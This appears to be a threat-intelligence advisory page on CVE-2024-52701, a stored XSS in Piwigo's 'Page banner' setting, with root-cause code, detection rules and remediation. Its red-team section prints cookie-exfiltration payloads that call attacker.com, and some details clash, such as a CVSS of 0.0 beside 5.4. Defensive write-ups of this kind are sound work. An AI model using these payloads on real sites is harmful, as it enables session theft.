CVE-2024-52701
Executive Summary
CVE-2024-52701 is a stored cross-site scripting (XSS) vulnerability in Piwigo v14.5.0, specifically within the Configuration page's "Page banner" parameter. An authenticated attacker with administrative privileges can inject arbitrary web scripts or HTML, which are then stored and executed in the browsers of other users viewing the site. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for admin-level access. No public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Piwigo is a self-hosted PHP application. This vulnerability does not directly affect package managers like NPM, PyPI, Go, or Ruby. However, administrators should verify the integrity of their Piwigo installation and monitor for any malicious modifications to the codebase.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs admin-level access.
- User Interaction (UI): Required (R) – Victim must visit the affected page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base Score: 5.4 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to significant client-side attacks.
Deep Dive & Mechanics
The vulnerability resides in the admin.php page handling the "Page banner" configuration option. The input is not properly sanitized or encoded before being stored in the database and later rendered in the site's header. An attacker can inject JavaScript or HTML into the banner parameter, which is then executed when any user (including other admins) loads a page that includes the banner.
Attack Flow:
- Attacker logs in as an administrator.
- Navigates to Configuration → General → Page banner.
- Injects payload:
<script>alert('XSS')</script>. - Saves the configuration.
- Any user visiting the site sees the script executed in their browser.
Root Cause: Lack of output encoding or input validation on the banner parameter. The application likely uses echo $banner; instead of htmlspecialchars($banner, ENT_QUOTES, 'UTF-8');.
Vulnerable vs. Patched Code
Vulnerable Code (Piwigo v14.5.0):
// In admin/configuration.php or similar
$page['banner'] = $_POST['banner']; // No sanitization
// Later in template rendering
echo $page['banner']; // Direct output without encoding
Patched Code (Hypothetical):
// Sanitize input
$page['banner'] = strip_tags($_POST['banner']); // Remove HTML tags
// Or use output encoding
echo htmlspecialchars($page['banner'], ENT_QUOTES, 'UTF-8');
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Piwigo v14.5.0 instance
- Admin credentials (e.g.,
admin:password)
Steps:
- Log in to Piwigo admin panel.
- Navigate to
admin.php?page=configuration. - In the "Page banner" field, inject:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Click "Save Configuration".
- Any user visiting the site will have their cookies exfiltrated.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Detection & Defense)
Detection:
- Monitor admin panel access logs for unusual configuration changes.
- Use WAF rules to block
<script>tags in POST parameters. - Implement Content Security Policy (CSP) headers to restrict script execution.
Defense:
- Apply input validation: allow only safe characters (e.g., alphanumeric and spaces).
- Use output encoding:
htmlspecialchars()in PHP. - Restrict admin access to trusted IPs only.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains from Piwigo server.
- File: Modified
configurationtable in database containing<script>tags. - Log: Admin login events followed by configuration changes.
- Browser: Unexpected pop-ups or redirects when viewing Piwigo pages.
Example IOC (Log Entry):
192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "POST /admin.php?page=configuration HTTP/1.1" 200 1234
Detection Engineering
YARA Rule
rule piwigo_xss_banner {
meta:
description = "Detects stored XSS payload in Piwigo banner parameter"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-52701"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$img_payload = /<img[^>]*onerror[^>]*>/i
$svg_payload = /<svg[^>]*onload[^>]*>/i
condition:
any of them
}
Sigma Rule
title: Piwigo Stored XSS in Page Banner
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Piwigo configuration page
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/admin.php?page=configuration'
cs-body: '*banner*'
keywords:
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate admin using HTML in banner (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"Piwigo Stored XSS - Banner Parameter Injection";
flow:to_server,established;
content:"POST"; http_method;
content:"/admin.php?page=configuration"; http_uri;
content:"banner="; http_client_body;
pcre:"/(<script|<img[^>]*onerror|<svg[^>]*onload)/i";
sid:1000001;
rev:1;
reference:cve,2024-52701;
)
Remediation & Mitigation
Immediate Actions:
- Disable the banner feature by editing the template to remove the banner output.
- Apply input validation in
admin.phpto strip HTML tags from the banner parameter. - Implement CSP headers to block inline scripts:
Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
Long-term Fix:
- Upgrade to a patched version once available.
- Conduct a code review of all admin input fields for similar vulnerabilities.
- Use a Web Application Firewall (WAF) with XSS rules.
Workaround:
- Restrict admin access to trusted IPs only.
- Monitor logs for suspicious configuration changes.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.